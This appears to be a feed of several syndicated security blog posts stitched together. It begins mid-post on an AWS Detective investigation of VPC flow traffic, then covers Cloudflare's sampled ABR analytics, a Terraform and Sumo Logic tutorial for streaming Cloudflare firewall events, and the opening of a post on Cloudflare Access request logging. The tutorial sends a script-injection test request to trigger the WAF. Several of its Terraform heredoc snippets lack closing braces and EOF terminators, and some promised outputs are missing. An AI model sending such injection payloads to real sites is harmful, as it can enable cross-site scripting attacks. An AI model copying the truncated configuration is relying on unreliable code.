Note that the two large inbound spikes aren’t associated with the IP address from the UnauthorizedAccess:EC2/TorClient finding, based on the Detective annotation From finding. Let’s check the outbound traffic. If I do a quick sort of the table based on the outbound traffic column, as shown in Figure 5, we can also see the outbound spikes, and it isn’t immediately evident whether the spikes are associated with this finding. I could continue to investigate the spikes (because they are a visual anomaly), or focus just on the VPC flow traffic that GuardDuty and Detective have labeled as associated with this TOR finding.

Figure 5: Outbound traffic spikes

Figure 5: Outbound traffic spikes

Let’s focus on the outbound and inbound spikes and see if we can determine what’s happening. The inbound spikes are on port 443, typically an HTTPS port, or a secure web connection. The outbound spikes are on port 22 (ssh), but go to IP addresses that look to be internal based on their addresses of 172.16.x.x. The port 443 traffic might indicate a web server that’s open to the internet and receiving traffic. With further investigation, we can determine if this idea is valid, and continue hunting for potentially malicious traffic.

A good next step would be to investigate the two specific IP addresses to rule out their involvement in the finding. I can do this by right-clicking on either of the external IP addresses and opening a new tab, where I can focus on investigating these two specific IP addresses. I would take this line of investigation to possibly rule out the involvement of these IP addresses in this finding, determine if they regularly communicate with my resources, find out what instance(s) they’re related to, and see if there are other findings associated with these instances or IP addresses. This deeper investigation is outside the scope of this blog post, but it’s something you should be doing in your own environment.

IP addresses in AWS are ephemeral in nature. The unique identifier in VPC flow logs is the Instance ID. At the time of this investigation, is assigned to the instance related to this finding, so let’s continue to take a look at the internal IP address with 218 MB outbound traffic on port 22. I choose, and Detective opens up the profile page for this specific IP address, as shown in Figure 6. Here we see some interesting correlations: two other GuardDuty findings related to SSH brute-force attacks. These could be related to our outbound port 22 spikes, because they’re certainly in the window of time we’re investigating.

Figure 6: IP address profile panel

Figure 6: IP address profile panel

As part of a deeper investigation, you would investigate the SSH brute-force findings for and but for now I’m interested what this IP is involved in. Detective easily associates this IP address with the instance that was assigned the IP during the scope time. I scroll down to the bottom of the profile page for and investigate the i-9999999999999999 instance by choosing the instance name.

Filtering VPC flow activity

In Detective, as the investigator we are looking at an instance profile panel, similar to the one in Figure 2, and since we’re interested in VPC flow details, I’m going to scroll down and select display details for scope time.

To focus on specific activity, I can filter the activity details by the following values:

  • IP address
  • Local or remote port
  • Direction
  • Protocol
  • Whether the request was accepted or rejected

I’m going to filter these VPC flow details and just look at port 22 (sshd) inbound traffic. I select the Filter check box and select Local Port and 22, as shown in Figure 7. Detective fills in all the available ports for you, making it easy to complete this filter.

Figure 7: Port 22 traffic

Figure 7: Port 22 traffic

The activity details show a few IP addresses related to port 22, and we’re still following the large outbound spikes of traffic. It’s outside the scope of this blog post, but now it would be time to start looking at your security groups and network access control lists (ACLs) and determine why port 22 is open to the internet and sending all this traffic.

Understanding traffic behavior

As an investigator, I now have a good picture of the traffic related to the initial finding, and by diving deeper we’re able to discover other interesting traffic during the same timeframe. While we may not always determine “who has done it,” the goal should be to improve our understanding of the behavior of our environment and gather important technical evidence. Detective helps you identify and investigate anomalies to give you insight into your environment. If we were to continue our investigation into the finding, here are some actions we can take within Detective.

Investigate VPC findings with Detective:

  • Perform ports and utilization analysis
    • Identify service and ephemeral ports
    • Determine whether traffic was accepted or rejected based on security groups and NACL configurations
    • Investigate possible reconnaissance traffic by exploring the significant amount of rejected traffic
  • Correlate EC2 instances to TCP/IP ports and IPs
  • Analyze traffic spikes and anomalies
  • Discover traffic patterns and make behavioral correlations

Explore EC2 instance behavior with Detective:

  • Directional Traffic Analysis
  • Investigate possible data exfiltration events by digging into large transfers
  • Enumerate distinct IP connections and sort and filter by protocol, amount of traffic, and traffic direction
  • Gather data related to a spike in port count from a single IP address (potential brute force) or multiple IP addresses (distributed denial of service (DDoS))

Additional forensics steps to consider

  • Snapshot EC2 Volumes
  • Memory dump of EC2 instance
  • Isolate EC2 instance
  • Review your authentication strategy and assess whether the chosen authentication method is sufficient to protect your asset


Without requiring you to set up infrastructure or spend time configuring log ingestion, Detective collects, organizes, and presents relevant data for your threat analysis and investigations. Security and operations teams will find this new capability helpful for simplifying EC2 traffic analysis, validating security group permissions, and diagnosing EC2 instance behavior. Detective does the heavy lifting of storing, and analyzing VPC flow data so you can focus on quickly answering your investigative questions. VPC network flow details are available now in all Detective supported Regions and are included as part of your service subscription.

To get started, you can enable a 30-day free trial of Amazon Detective. See the AWS Regional Services page for all the regions where Detective is available. To learn more, visit the Amazon Detective product page.

Are you a visual learner? Check out Amazon Detective Overview and Demonstration. This video helps you learn how and when to use Amazon Detective to improve the security of your AWS resources.

If you have feedback about this post, submit comments in the Comments section below.

Want more AWS Security how-to content, news, and feature announcements? Follow us on Twitter.


Ross Warren

Ross Warren is a Solution Architect at AWS based in Northern Virginia. Prior to his work at AWS, Ross’ areas of focus included cyber threat hunting and security operations. Ross has worked at a handful of startups and has enjoyed the transition to AWS because he can continue to build solutions for customers on today’s most innovative platform.


Jim Miller

Jim is a Solution Architect at AWS based in Connecticut. Jim has worked within cyber security his entire career with areas of focus including cyber security architecture and incident response. At AWS he loves building secure solutions for customers to enable teams to build and innovate with confidence.

Explaining Cloudflare’s ABR Analytics

Post Syndicated from Jamie Herre original https://blog.cloudflare.com/explaining-cloudflares-abr-analytics/

Explaining Cloudflare's ABR Analytics

Cloudflare’s analytics products help customers answer questions about their traffic by analyzing the mind-boggling, ever-increasing number of events (HTTP requests, Workers requests, Spectrum events) logged by Cloudflare products every day.  The answers to these questions depend on the point of view of the question being asked, and we’ve come up with a way to exploit this fact to improve the quality and responsiveness of our analytics.

Useful Accuracy

Consider the following questions and answers:

What is the length of the coastline of Great Britain? 12.4K km
What is the total world population? 7.8B
How many stars are in the Milky Way? 250B
What is the total volume of the Antarctic ice shelf? 25.4M km3
What is the worldwide production of lentils? 6.3M tonnes
How many HTTP requests hit my site in the last week? 22.6M

Useful answers do not benefit from being overly exact.  For large quantities, knowing the correct order of magnitude and a few significant digits gives the most useful answer.  At Cloudflare, the difference in traffic between different sites or when a single site is under attack can cross nine orders of magnitude and, in general, all our traffic follows a Pareto distribution, meaning that what’s appropriate for one site or one moment in time might not work for another.

Explaining Cloudflare's ABR Analytics

Because of this distribution, a query that scans a few hundred records for one customer will need to scan billions for another.  A report that needs to load a handful of rows under normal operation might need to load millions when a site is under attack.

To get a sense of the relative difference of each of these numbers, remember “Powers of Ten”, an amazing visualization that Ray and Charles Eames produced in 1977.  Notice that the scale of an image determines what resolution is practical for recording and displaying it.

Explaining Cloudflare's ABR Analytics

Using ABR to determine resolution

This basic fact informed our design and implementation of ABR for Cloudflare analytics.  ABR stands for “Adaptive Bit Rate”.  It’s essentially an eponym for the term as used in video streaming such as Cloudflare’s own Stream Delivery.  In those cases, the server will select the best resolution for a video stream to match your client and network connection.

In our case, every analytics query that supports ABR will be calculated at a resolution matching the query.  For example, if you’re interested to know from which country the most firewall events were generated in the past week, the system might opt to use a lower resolution version of the firewall data than if you had opted to look at the last hour. The lower resolution version will provide the same answer but take less time and fewer resources.  By using multiple, different resolutions of the same data, our analytics can provide consistent response times and a better user experience.

You might be aware that we use a columnar store called ClickHouse to store and process our analytics data.  When using ABR with ClickHouse, we write the same data at multiple resolutions into separate tables.  Usually, we cover seven orders of magnitude – from 100% to 0.0001% of the original events.  We wind up using an additional 12% of disk storage but enable very fast ad hoc queries on the reduced resolution tables.

Explaining Cloudflare's ABR Analytics

Aggregations and Rollups

The ABR technique facilitates aggregations by making compact estimates of every dimension.  Another way to achieve the same ends is with a system that computes “rollups”.  Rollups save space by computing either complete or partial aggregations of the data as it arrives.  

For example, suppose we wanted to count a total number of lentils. (Lentils are legumes and among the oldest and most widely cultivated crops.  They are a staple food in many parts of the world.)  We could just count each lentil as it passed through the processing system. Of course because there a lot of lentils, that system is distributed – meaning that there are hundreds of separate machines.  Therefore we’ll actually have hundreds of separate counters.

Also, we’ll want to include more information than just the count, so we’ll also include the weight of each lentil and maybe 10 or 20 other attributes. And of course, we don’t want just a total for each attribute, but we’ll want to be able to break it down by color, origin, distributor and many other things, and also we’ll want to break these down by slices of time.

In the end, we’ll have tens of thousands or possibly millions of aggregations to be tabulated and saved every minute.  These aggregations are expensive to compute, especially when using aggregations more complicated than simple counters and sums.  They also destroy some information.  For example, once we’ve processed all the lentils through the rollups, we can’t say for sure that we’ve counted them all, and most importantly, whichever attributes we neglected to aggregate are unavailable.

The number we’re counting, 6.3M tonnes, only includes two significant digits which can easily be achieved by counting a sample.  Most of the rollup computations used on each lentil (on the order 1013 to account for 6.3M tonnes) are wasted.

Other forms of aggregations

So far, we’ve discussed ABR and its application to aggregations, but we’ve only given examples involving “counts” and “sums”.  There are other, more complex forms of aggregations we use quite heavily.  Two examples are “topK” and “count-distinct”.

A “topK” aggregation attempts to show the K most frequent items in a set.  For example, the most frequent IP address, or country.  To compute topK, just count the frequency of each item in the set and return the K items with the highest frequencies. Under ABR, we compute topK based on the set found in the matching resolution sample. Using a sample makes this computation a lot faster and less complex, but there are problems.

The estimate of topK derived from a sample is biased and dependent on the distribution of the underlying data. This can result in overestimating the significance of elements in the set as compared to their frequency in the full set. In practice this effect can only be noticed when the cardinality of the set is very high and you’re not going to notice this effect on a Cloudflare dashboard.  If your site has a lot of traffic and you’re looking at the Top K URLs or browser types, there will be no difference visible at different resolutions.  Also keep in mind that as long as we’re estimating the “proportion” of the element in the set and the set is large, the results will be quite accurate.

The other fascinating aggregation we support is known as “count-distinct”, or number of uniques.  In this case we want to know the number of unique values in a set.  For example, how many unique cache keys have been used.  We can safely say that a uniform random sample of the set cannot be used to estimate this number.  However, we do have a solution.

We can generate another, alternate sample based on the value in question.  For example, instead of taking a random sample of all requests, we take a random sample of IP addresses.  This is sometimes called distinct reservoir sampling, and it allows us to estimate the true number of distinct IPs based on the cardinality of the sampled set. Again, there are techniques available to improve these estimates, and we’ll be implementing some of those.

ABR improves resilience and scalability

Using ABR saves us resources.  Even better, it allows us to query all the attributes in the original data, not just those included in rollups.  And even better, it allows us to check our assumptions against different sample intervals in separate tables as a check that the system is working correctly, because the original events are preserved.

However, the greatest benefits of employing ABR are the ones that aren’t directly visible. Even under ideal conditions, a large distributed system such as Cloudflare’s data pipeline is subject to high tail latency.  This occurs when any single part of the system takes longer than usual for any number of a long list of reasons.  In these cases, the ABR system will adapt to provide the best results available at that moment in time.

For example, compare this chart showing Cache Performance for a site under attack with the same chart generated a moment later while we simulate a failure of some of the servers in our cluster.  In the days before ABR, your Cloudflare dashboard would fail to load in this scenario.  Now, with ABR analytics, you won’t see significant degradation.

Explaining Cloudflare's ABR Analytics
Explaining Cloudflare's ABR Analytics

Stretching the analogy to ABR in video streaming, we want you to be able to enjoy your analytics dashboard without being bothered by issues related to faulty servers, or network latency, or long running queries.  With ABR you can get appropriate answers to your questions reliably and within a predictable amount of time.

In the coming months, we’re going to be releasing a variety of new dashboards and analytics products based on this simple but profound technology.  Watch your Cloudflare dashboard for increasingly useful and interactive analytics.

Stream Firewall Events directly to your SIEM

Post Syndicated from Patrick R. Donahue original https://blog.cloudflare.com/stream-firewall-events-directly-to-your-siem/

Stream Firewall Events directly to your SIEM

Stream Firewall Events directly to your SIEM

The highest trafficked sites using Cloudflare receive billions of requests per day. But only about 5% of those requests typically trigger security rules, whether they be “managed” rules such as our WAF and DDoS protections, or custom rules such as those configured by customers using our powerful Firewall Rules and Rate Limiting engines.

When enforcement is taken on a request that interrupts the flow of malicious traffic, a Firewall Event is logged with detail about the request including which rule triggered us to take action and what action we took, e.g., challenged or blocked outright.

Previously, if you wanted to ingest all of these events into your SIEM or logging platform, you had to take the whole firehose of requests—good and bad—and then filter them client side. If you’re paying by the log line or scaling your own storage solution, this cost can add up quickly. And if you have a security team monitoring logs, they’re being sent a lot of extraneous data to sift through before determining what needs their attention most.

As of today, customers using Cloudflare Logs can create Logpush jobs that send only Firewall Events. These events arrive much faster than our existing HTTP requests logs: they are typically delivered to your logging platform within 60 seconds of sending the response to the client.

In this post we’ll show you how to use Terraform and Sumo Logic, an analytics integration partner, to get this logging set up live in just a few minutes.

Process overview

The steps below take you through the process of configuring Cloudflare Logs to push security events directly to your logging platform. For purposes of this tutorial, we’ve chosen Sumo Logic as our log destination, but you’re free to use any of our analytics partners, or any logging platform that can read from cloud storage such as AWS S3, Azure Blob Storage, or Google Cloud Storage.

To configure Sumo Logic and Cloudflare we make use of Terraform, a popular Infrastructure-as-Code tool from HashiCorp. If you’re new to Terraform, see Getting started with Terraform and Cloudflare for a guided walkthrough with best practice recommendations such as how to version and store your configuration in git for easy rollback.

Once the infrastructure is in place, you’ll send a malicious request towards your site to trigger the Cloudflare Web Application Firewall, and watch as the Firewall Events generated by that request shows up in Sumo Logic about a minute later.

Stream Firewall Events directly to your SIEM


Install Terraform and Go

First you’ll need to install Terraform. See our Developer Docs for instructions.

Next you’ll need to install Go. The easiest way on macOS to do so is with Homebrew:

$ brew install golang
$ export GOPATH=$HOME/go
$ mkdir $GOPATH

Go is required because the Sumo Logic Terraform Provider is a “community” plugin, which means it has to be built and installed manually rather than automatically through the Terraform Registry, as will happen later for the Cloudflare Terraform Provider.

Install the Sumo Logic Terraform Provider Module

The official installation instructions for installing the Sumo Logic provider can be found on their GitHub Project page, but here are my notes:

$ mkdir -p $GOPATH/src/github.com/terraform-providers && cd $_
$ git clone https://github.com/SumoLogic/sumologic-terraform-provider.git
$ cd sumologic-terraform-provider
$ make install

Prepare Sumo Logic to receive Cloudflare Logs

Install Sumo Logic livetail utility

While not strictly necessary, the livetail tool from Sumo Logic makes it easy to grab the Cloudflare Logs challenge token we’ll need in a minute, and also to view the fruits of your labor: seeing a Firewall Event appear in Sumo Logic shortly after the malicious request hit the edge.

On macOS:

$ brew cask install livetail
==> Verifying SHA-256 checksum for Cask 'livetail'.
==> Installing Cask livetail
==> Linking Binary 'livetail' to '/usr/local/bin/livetail'.
🍺  livetail was successfully installed!

Generate Sumo Logic Access Key

This step assumes you already have a Sumo Logic account. If not, you can sign up for a free trial here.

  1. Browse to https://service.$ENV.sumologic.com/ui/#/security/access-keys where $ENV should be replaced by the environment you chose on signup.
  2. Click the “+ Add Access Key” button, give it a name, and click “Create Key”
  3. In the next step you’ll save the Access ID and Access Key that are provided as environment variables, so don’t close this modal until you do.

Generate Cloudflare Scoped API Token

  1. Log in to the Cloudflare Dashboard
  2. Click on the profile icon in the top-right corner and then select “My Profile”
  3. Select “API Tokens” from the nav bar and click “Create Token”
  4. Click the “Get started” button next to the “Create Custom Token” label

On the Create Custom Token screen:

  1. Provide a token name, e.g., “Logpush – Firewall Events”
  2. Under Permissions, change Account to Zone, and then select Logs and Edit, respectively, in the two drop-downs to the right
  3. Optionally, change Zone Resources and IP Address Filtering to restrict restrict access for this token to specific zones or from specific IPs

Click “Continue to summary” and then “Create token” on the next screen. Save the token somewhere secure, e.g., your password manager, as it’ll be needed in just a minute.

Set environment variables

Rather than add sensitive credentials to source files (that may get submitted to your source code repository), we’ll set environment variables and have the Terraform modules read from them.

$ export CLOUDFLARE_API_TOKEN="<your scoped cloudflare API token>"
$ export CF_ZONE_ID="<tag of zone you wish to send logs for>"

We’ll also need your Sumo Logic environment, Access ID, and Access Key:

$ export SUMOLOGIC_ACCESSID="<access id from previous step>"
$ export SUMOLOGIC_ACCESSKEY="<access key from previous step>"

Create the Sumo Logic Collector and HTTP Source

We’ll create a directory to store our Terraform project in and build it up as we go:

$ mkdir -p ~/src/fwevents && cd $_

Then we’ll create the Collector and HTTP source that will store and provide Firewall Events logs to Sumo Logic:

$ cat <<'EOF' | tee main.tf
### SUMO LOGIC ###
provider "sumologic" {
    environment = var.sumo_environment
    access_id = var.sumo_access_id

resource "sumologic_collector" "collector" {
    name = "CloudflareLogCollector"
    timezone = "Etc/UTC"

resource "sumologic_http_source" "http_source" {
    name = "firewall-events-source"
    collector_id = sumologic_collector.collector.id
    timezone = "Etc/UTC"

Then we’ll create a variables file so Terraform has credentials to communicate with Sumo Logic:

$ cat <<EOF | tee variables.tf
### SUMO LOGIC ###
variable "sumo_environment" {

variable "sumo_access_id" {
    default = "$SUMOLOGIC_ACCESSID"

With our Sumo Logic configuration set, we’ll initialize Terraform with terraform init and then preview what changes Terraform is going to make by running terraform plan:

$ terraform init

Initializing the backend...

Initializing provider plugins...

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running "terraform plan" to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.
$ terraform plan
Refreshing Terraform state in-memory prior to plan...
The refreshed state will be used to calculate this plan, but will not be
persisted to local or remote state storage.


An execution plan has been generated and is shown below.
Resource actions are indicated with the following symbols:
  + create

Terraform will perform the following actions:

  # sumologic_collector.collector will be created
  + resource "sumologic_collector" "collector" {
      + destroy        = true
      + id             = (known after apply)
      + lookup_by_name = false
      + name           = "CloudflareLogCollector"
      + timezone       = "Etc/UTC"

  # sumologic_http_source.http_source will be created
  + resource "sumologic_http_source" "http_source" {
      + automatic_date_parsing       = true
      + collector_id                 = (known after apply)
      + cutoff_timestamp             = 0
      + destroy                      = true
      + force_timezone               = false
      + id                           = (known after apply)
      + lookup_by_name               = false
      + message_per_request          = false
      + multiline_processing_enabled = true
      + name                         = "firewall-events-source"
      + timezone                     = "Etc/UTC"
      + url                          = (known after apply)
      + use_autoline_matching        = true

Plan: 2 to add, 0 to change, 0 to destroy.


Note: You didn't specify an "-out" parameter to save this plan, so Terraform
can't guarantee that exactly these actions will be performed if
"terraform apply" is subsequently run.

Assuming everything looks good, let’s execute the plan:

$ terraform apply -auto-approve
sumologic_collector.collector: Creating...
sumologic_collector.collector: Creation complete after 3s [id=108448215]
sumologic_http_source.http_source: Creating...
sumologic_http_source.http_source: Creation complete after 0s [id=150364538]

Apply complete! Resources: 2 added, 0 changed, 0 destroyed.

Success! At this point you could log into the Sumo Logic web interface and confirm that your Collector and HTTP Source were created successfully.

Create a Cloudflare Logpush Job

Before we’ll start sending logs to your collector, you need to demonstrate the ability to read from it. This validation step prevents accidental (or intentional) misconfigurations from overrunning your logs.

Tail the Sumo Logic Collector and await the challenge token

In a new shell window—you should keep the current one with your environment variables set for use with Terraform—we’ll start tailing Sumo Logic for events sent from the firewall-events-source HTTP source.

The first time that you run livetail you’ll need to specify your Sumo Logic Environment, Access ID and Access Key, but these values will be stored in the working directory for subsequent runs:

$ livetail _source=firewall-events-source
### Welcome to Sumo Logic Live Tail Command Line Interface ###
1 US1
2 US2
3 EU
4 AU
5 DE
7 JP
8 CA
Please select Sumo Logic environment: 
See http://help.sumologic.com/Send_Data/Collector_Management_API/Sumo_Logic_Endpoints to choose the correct environment. 3
### Authenticating ###
Please enter your Access ID: <access id>
Please enter your Access Key <access key>
### Starting Live Tail session ###

Request and receive challenge token

Before requesting a challenge token, we need to figure out where Cloudflare should send logs.

We do this by asking Terraform for the receiver URL of the recently created HTTP source. Note that we modify the URL returned slightly as Cloudflare Logs expects sumo:// rather than https://.

$ export SUMO_RECEIVER_URL=$(terraform state show sumologic_http_source.http_source | grep url | awk '{print $3}' | sed -e 's/https:/sumo:/; s/"//g')


With URL in hand, we can now request the token.

$ curl -sXPOST -H "Content-Type: application/json" -H "Authorization: Bearer $CLOUDFLARE_API_TOKEN" -d '{"destination_conf":"'''$SUMO_RECEIVER_URL'''"}' https://api.cloudflare.com/client/v4/zones/$CF_ZONE_ID/logpush/ownership


Back in the other window where your livetail is running you should see something like this:


Copy the content value from above into an environment variable, as you’ll need it in a minute to create the job:

$ export LOGPUSH_CHALLENGE_TOKEN="<content value>"

Create the Logpush job using the challenge token

With challenge token in hand, we’ll use Terraform to create the job.

First you’ll want to choose the log fields that should be sent to Sumo Logic. You can enumerate the list by querying the dataset:

$ curl -sXGET -H "Authorization: Bearer $CLOUDFLARE_API_TOKEN" https://api.cloudflare.com/client/v4/zones/$CF_ZONE_ID/logpush/datasets/firewall_events/fields | jq .
  "errors": [],
  "messages": [],
  "result": {
    "Action": "string; the code of the first-class action the Cloudflare Firewall took on this request",
    "ClientASN": "int; the ASN number of the visitor",
    "ClientASNDescription": "string; the ASN of the visitor as string",
    "ClientCountryName": "string; country from which request originated",
    "ClientIP": "string; the visitor's IP address (IPv4 or IPv6)",
    "ClientIPClass": "string; the classification of the visitor's IP address, possible values are: unknown | clean | badHost | searchEngine | whitelist | greylist | monitoringService | securityScanner | noRecord | scan | backupService | mobilePlatform | tor",
    "ClientRefererHost": "string; the referer host",
    "ClientRefererPath": "string; the referer path requested by visitor",
    "ClientRefererQuery": "string; the referer query-string was requested by the visitor",
    "ClientRefererScheme": "string; the referer url scheme requested by the visitor",
    "ClientRequestHTTPHost": "string; the HTTP hostname requested by the visitor",
    "ClientRequestHTTPMethodName": "string; the HTTP method used by the visitor",
    "ClientRequestHTTPProtocol": "string; the version of HTTP protocol requested by the visitor",
    "ClientRequestPath": "string; the path requested by visitor",
    "ClientRequestQuery": "string; the query-string was requested by the visitor",
    "ClientRequestScheme": "string; the url scheme requested by the visitor",
    "Datetime": "int or string; the date and time the event occurred at the edge",
    "EdgeColoName": "string; the airport code of the Cloudflare datacenter that served this request",
    "EdgeResponseStatus": "int; HTTP response status code returned to browser",
    "Kind": "string; the kind of event, currently only possible values are: firewall",
    "MatchIndex": "int; rules match index in the chain",
    "Metadata": "object; additional product-specific information. Metadata is organized in key:value pairs. Key and Value formats can vary by Cloudflare security product and can change over time",
    "OriginResponseStatus": "int; HTTP origin response status code returned to browser",
    "OriginatorRayName": "string; the RayId of the request that issued the challenge/jschallenge",
    "RayName": "string; the RayId of the request",
    "RuleId": "string; the Cloudflare security product-specific RuleId triggered by this request",
    "Source": "string; the Cloudflare security product triggered by this request",
    "UserAgent": "string; visitor's user-agent string"
  "success": true

Then you’ll append your Cloudflare configuration to the main.tf file:

$ cat <<EOF | tee -a main.tf

provider "cloudflare" {
  version = "~> 2.0"

resource "cloudflare_logpush_job" "firewall_events_job" {
  name = "fwevents-logpush-job"
  zone_id = var.cf_zone_id
  enabled = true
  dataset = "firewall_events"
  logpull_options = "fields=RayName,Source,RuleId,Action,EdgeResponseStatusDatetime,EdgeColoName,ClientIP,ClientCountryName,ClientASNDescription,UserAgent,ClientRequestHTTPMethodName,ClientRequestHTTPHost,ClientRequestHTTPPath&timestamps=rfc3339"
  destination_conf = replace(sumologic_http_source.http_source.url,"https:","sumo:")
  ownership_challenge = "$LOGPUSH_CHALLENGE_TOKEN"

And add to the variables.tf file:

$ cat <<EOF | tee -a variables.tf

variable "cf_zone_id" {
  default = "$CF_ZONE_ID"

Next we re-run terraform init to install the latest Cloudflare Terraform Provider Module. You’ll need to make sure you have at least version 2.6.0 as this is the version in which we added Logpush job support:

$ terraform init

Initializing the backend...

Initializing provider plugins...
- Checking for available provider plugins...
- Downloading plugin for provider "cloudflare" (terraform-providers/cloudflare) 2.6.0...

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running "terraform plan" to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.

With the latest Terraform installed, we check out the plan and then apply:

$ terraform plan
Refreshing Terraform state in-memory prior to plan...
The refreshed state will be used to calculate this plan, but will not be
persisted to local or remote state storage.

sumologic_collector.collector: Refreshing state... [id=108448215]
sumologic_http_source.http_source: Refreshing state... [id=150364538]


An execution plan has been generated and is shown below.
Resource actions are indicated with the following symbols:
  + create

Terraform will perform the following actions:

  # cloudflare_logpush_job.firewall_events_job will be created
  + resource "cloudflare_logpush_job" "firewall_events_job" {
      + dataset             = "firewall_events"
      + destination_conf    = "sumo://endpoint1.collection.eu.sumologic.com/receiver/v1/http/(redacted)"
      + enabled             = true
      + id                  = (known after apply)
      + logpull_options     = "fields=RayName,Source,RuleId,Action,EdgeResponseStatusDatetime,EdgeColoName,ClientIP,ClientCountryName,ClientASNDescription,UserAgent,ClientRequestHTTPMethodName,ClientRequestHTTPHost,ClientRequestHTTPPath&timestamps=rfc3339"
      + name                = "fwevents-logpush-job"
      + ownership_challenge = "(redacted)"
      + zone_id             = "(redacted)"

Plan: 1 to add, 0 to change, 0 to destroy.


Note: You didn't specify an "-out" parameter to save this plan, so Terraform
can't guarantee that exactly these actions will be performed if
"terraform apply" is subsequently run.
$ terraform apply --auto-approve
sumologic_collector.collector: Refreshing state... [id=108448215]
sumologic_http_source.http_source: Refreshing state... [id=150364538]
cloudflare_logpush_job.firewall_events_job: Creating...
cloudflare_logpush_job.firewall_events_job: Creation complete after 3s [id=13746]

Apply complete! Resources: 1 added, 0 changed, 0 destroyed.

Success! Last step is to test your setup.

Testing your setup by sending a malicious request

The following step assumes that you have the Cloudflare WAF turned on. Alternatively, you can create a Firewall Rule to match your request and generate a Firewall Event that way.

First make sure that livetail is running as described earlier:

$ livetail "_source=firewall-events-source"
### Authenticating ###
### Starting Live Tail session ###

Then in a browser make the following request https://example.com/<script>alert()</script>. You should see the following returned:

Stream Firewall Events directly to your SIEM

And a few moments later in livetail:

{"RayName":"58830d3f9945bc36","Source":"waf","RuleId":"958052","Action":"log","EdgeColoName":"LHR","ClientIP":"","ClientCountryName":"gb","ClientASNDescription":"NTL","UserAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36","ClientRequestHTTPMethodName":"GET","ClientRequestHTTPHost":"upinatoms.com"}
{"RayName":"58830d3f9945bc36","Source":"waf","RuleId":"958051","Action":"log","EdgeColoName":"LHR","ClientIP":"","ClientCountryName":"gb","ClientASNDescription":"NTL","UserAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36","ClientRequestHTTPMethodName":"GET","ClientRequestHTTPHost":"upinatoms.com"}
{"RayName":"58830d3f9945bc36","Source":"waf","RuleId":"973300","Action":"log","EdgeColoName":"LHR","ClientIP":"","ClientCountryName":"gb","ClientASNDescription":"NTL","UserAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36","ClientRequestHTTPMethodName":"GET","ClientRequestHTTPHost":"upinatoms.com"}
{"RayName":"58830d3f9945bc36","Source":"waf","RuleId":"973307","Action":"log","EdgeColoName":"LHR","ClientIP":"","ClientCountryName":"gb","ClientASNDescription":"NTL","UserAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36","ClientRequestHTTPMethodName":"GET","ClientRequestHTTPHost":"upinatoms.com"}
{"RayName":"58830d3f9945bc36","Source":"waf","RuleId":"973331","Action":"log","EdgeColoName":"LHR","ClientIP":"","ClientCountryName":"gb","ClientASNDescription":"NTL","UserAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36","ClientRequestHTTPMethodName":"GET","ClientRequestHTTPHost":"upinatoms.com"}
{"RayName":"58830d3f9945bc36","Source":"waf","RuleId":"981176","Action":"drop","EdgeColoName":"LHR","ClientIP":"","ClientCountryName":"gb","ClientASNDescription":"NTL","UserAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36","ClientRequestHTTPMethodName":"GET","ClientRequestHTTPHost":"upinatoms.com"}

Note that for this one malicious request Cloudflare Logs actually sent 6 separate Firewall Events to Sumo Logic. The reason for this is that this specific request triggered a variety of different Managed Rules: #958051, 958052, 973300, 973307, 973331, and 981176.

Seeing it all in action

Here’s a demo of  launching livetail, making a malicious request in a browser, and then seeing the result sent from the Cloudflare Logpush job:

Stream Firewall Events directly to your SIEM

Log every request to corporate apps, no code changes required

Post Syndicated from Sam Rhea original https://blog.cloudflare.com/log-every-request-to-corporate-apps-no-code-changes-required/

Log every request to corporate apps, no code changes required

When a user connects to a corporate network through an enterprise VPN client, this is what the VPN appliance logs:

Log every request to corporate apps, no code changes required

The administrator of that private network knows the user opened the door at 12:15:05, but, in most cases, has no visibility into what they did next. Once inside that private network, users can reach internal tools, sensitive data, and production environments. Preventing this requires complicated network segmentation, and often server-side application changes. Logging the steps that an individual takes inside that network is even more difficult.

Cloudflare Access does not improve VPN logging; it replaces this model. Cloudflare Access secures internal sites by evaluating every request, not just the initial login, for identity and permission. Instead of a private network, administrators deploy corporate applications behind Cloudflare using our authoritative DNS. Administrators can then integrate their team’s SSO and build user and group-specific rules to control who can reach applications behind the Access Gateway.

When a request is made to a site behind Access, Cloudflare prompts the visitor to login with an identity provider. Access then checks that user’s identity against the configured rules and, if permitted, allows the request to proceed. Access performs these checks on each request a user makes in a way that is transparent and seamless for the end user.

However, since the day we launched Access, our logging has resembled the screenshot above. We captured when a user first authenticated through the gateway, but that’s where it stopped. Starting today, we can give your team the full picture of every request made to every application.

We’re excited to announce that you can now capture logs of every request a user makes to a resource behind Cloudflare Access. In the event of an emergency, like a stolen laptop, you can now audit every URL requested during a session. Logs are standardized in one place, regardless of whether you use multiple SSO providers or secure multiple applications, and the Cloudflare Logpush platform can send them to your SIEM for retention and analysis.

Auditing every login

Cloudflare Access brings the speed and security improvements Cloudflare provides to public-facing sites and applies those lessons to the internal applications your team uses. For most teams, these were applications that traditionally lived behind a corporate VPN. Once a user joined that VPN, they were inside that private network, and administrators had to take additional steps to prevent users from reaching things they should not have access to.

